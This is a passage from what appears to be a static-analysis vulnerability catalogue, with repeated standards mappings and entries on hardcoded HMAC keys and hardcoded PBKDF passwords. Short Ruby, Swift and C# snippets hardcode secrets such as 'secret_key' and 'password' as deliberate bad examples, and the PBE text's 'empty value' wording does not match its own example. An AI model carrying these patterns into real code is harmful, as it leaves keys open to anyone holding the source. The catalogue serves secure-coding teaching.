[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.
Example 1: The following code uses a hardcoded key to compute the HMAC:

...
digest = OpenSSL::HMAC.digest('sha256', 'secret_key', data)
...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret_key" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_hardcoded_hmac_key
Abstract
Hardcoded HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.

Example 1: The following code uses a hardcoded key to compute the HMAC:


...
CCHmac(UInt32(kCCHmacAlgSHA256), "secret", 6, plaintext, plaintextLen, &output)
...


This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 3.7.1, Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_hardcoded_hmac_key

Key Management: Hardcoded PBE Password

Abstract
A hardcoded password is used to generate a key from a password-based key derivation function (PBKDF). Providing a hardcoded password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic PBKDF:


...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("password", salt,100000);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003310 CAT II
